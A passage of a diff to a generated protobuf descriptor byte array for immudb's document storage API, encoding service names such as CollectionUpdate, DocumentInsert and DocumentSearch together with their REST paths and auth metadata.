0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, + 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, + 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, - 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, - 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, - 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, - 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, - 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, - 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, - 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, + 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 